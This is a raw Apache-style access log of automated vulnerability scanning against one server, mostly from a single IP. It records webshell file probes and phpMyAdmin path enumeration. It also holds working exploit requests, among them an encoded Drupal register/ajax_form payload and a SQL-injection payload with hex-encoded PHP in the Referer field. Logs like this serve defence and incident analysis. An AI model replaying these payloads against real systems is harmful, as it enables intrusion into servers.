61.19.71.84 - - [29/Feb/2020:20:38:42 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:42 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:42 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:43 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:43 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:43 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:43 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:43 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [29/Feb/2020:20:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:38:44 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:44 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:44 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:44 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:44 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:45 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:45 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:45 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:45 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:39:06 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:39:28 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [29/Feb/2020:20:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:39:49 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:40:11 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:40:33 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [29/Feb/2020:20:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:40:55 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:41:16 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:41:38 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [29/Feb/2020:20:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:42:00 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
61.19.71.84 - - [29/Feb/2020:20:42:21 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:42:21 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:42:21 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:42:21 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:42:21 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:42:43 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [29/Feb/2020:20:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:43:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
13.235.249.188 - - [29/Feb/2020:20:43:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
13.235.249.188 - - [29/Feb/2020:20:43:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
61.19.71.84 - - [29/Feb/2020:20:43:27 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [29/Feb/2020:20:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:43:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
87.103.204.94 - - [29/Feb/2020:20:44:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.19.71.84 - - [29/Feb/2020:20:44:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
113.23.72.247 - - [29/Feb/2020:20:44:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.19.71.84 - - [29/Feb/2020:20:44:32 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [29/Feb/2020:20:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:44:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:45:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
92.118.160.25 - - [29/Feb/2020:20:45:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
61.19.71.84 - - [29/Feb/2020:20:45:37 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [29/Feb/2020:20:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.19.71.84 - - [29/Feb/2020:20:45:59 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:21 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
61.19.71.84 - - [29/Feb/2020:20:46:21 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:21 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:22 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:22 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:22 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:22 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:22 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:23 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:23 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:23 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:23 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:24 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:24 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:24 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:24 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:24 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:25 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:25 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:25 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:25 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:26 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:26 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:26 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:26 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:26 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:27 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:27 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:27 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:27 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:28 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:28 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:28 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:28 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:28 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:29 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:29 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:29 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:29 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:30 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:30 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:30 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:30 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:31 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:31 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:31 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:31 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:31 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:32 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:32 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:32 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:32 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:33 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:33 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:33 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:33 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:33 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:34 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:34 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:34 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:34 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:35 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:35 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:35 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:35 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:35 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:36 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:36 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:36 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:36 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:37 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
61.19.71.84 - - [29/Feb/2020:20:46:37 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
